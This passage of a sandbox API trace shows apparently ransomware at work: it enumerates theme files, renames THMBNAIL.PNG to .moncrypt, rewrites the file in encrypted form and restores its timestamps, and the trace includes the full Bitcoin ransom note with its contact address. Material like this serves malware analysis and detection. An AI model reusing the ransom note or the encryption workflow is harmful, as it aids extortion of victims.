nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1 [0051.503] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.503] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.503] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.503] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.503] GlobalUnlock (hMem=0x440004) returned 0 [0051.503] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.503] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.503] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.503] GlobalUnlock (hMem=0x440004) returned 0 [0051.503] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.503] GlobalUnlock (hMem=0x44000c) returned 0 [0051.503] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.503] CharLowerBuffW (in: lpsz="ECLIPSE.INF", cchLength=0xb | out: lpsz="eclipse.inf") returned 0xb [0051.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.503] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpUsedDefaultChar=0x0) returned 75 [0051.504] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0051.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\ECLIPSE\\ECLIPSE.INF", lpUsedDefaultChar=0x0) returned 4 [0051.504] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.504] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.504] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.504] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.504] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.504] GlobalUnlock (hMem=0x44000c) returned 0 [0051.504] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.504] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.504] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.504] GlobalUnlock (hMem=0x44000c) returned 0 [0051.504] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.504] GlobalUnlock (hMem=0x440004) returned 0 [0051.505] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.505] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0051.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 75 [0051.505] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0051.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\ECLIPSE\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 4 [0051.505] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0051.506] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.506] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.506] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.506] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.506] GlobalUnlock (hMem=0x440004) returned 0 [0051.506] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.506] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.506] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.506] GlobalUnlock (hMem=0x440004) returned 0 [0051.506] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.506] GlobalUnlock (hMem=0x44000c) returned 0 [0051.506] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.506] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0051.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.506] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 76 [0051.507] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0051.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\ECLIPSE\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 4 [0051.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0051.507] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.507] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.507] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0051.508] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.508] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.moncrypt")) returned 1 [0051.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.509] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.509] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x7e93 [0051.509] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.509] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.515] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.515] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.515] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.515] GlobalUnlock (hMem=0x440004) returned 0 [0051.515] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0051.515] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.516] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.516] GlobalUnlock (hMem=0x440004) returned 0 [0051.516] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.516] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.516] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.516] GlobalUnlock (hMem=0x44000c) returned 0 [0051.516] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.516] GlobalUnlock (hMem=0x440004) returned 0 [0051.516] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.516] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.516] GlobalUnlock (hMem=0x440004) returned 0 [0051.516] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.516] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.516] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.516] GlobalUnlock (hMem=0x440004) returned 0 [0051.516] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.516] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.516] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.516] SetFilePointer (in: hFile=0x18c, lDistanceToMove=32403, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x7e93 [0051.516] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.517] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.517] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.528] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.528] CloseHandle (hObject=0x18c) returned 1 [0051.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.529] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.529] CloseHandle (hObject=0x18c) returned 1 [0051.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0051.530] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.530] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.530] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.530] GlobalUnlock (hMem=0x440004) returned 0 [0051.530] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.530] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.530] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.530] GlobalUnlock (hMem=0x440004) returned 0 [0051.530] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.530] GlobalUnlock (hMem=0x44000c) returned 0 [0051.530] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ff1dba0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3ff1dba0, 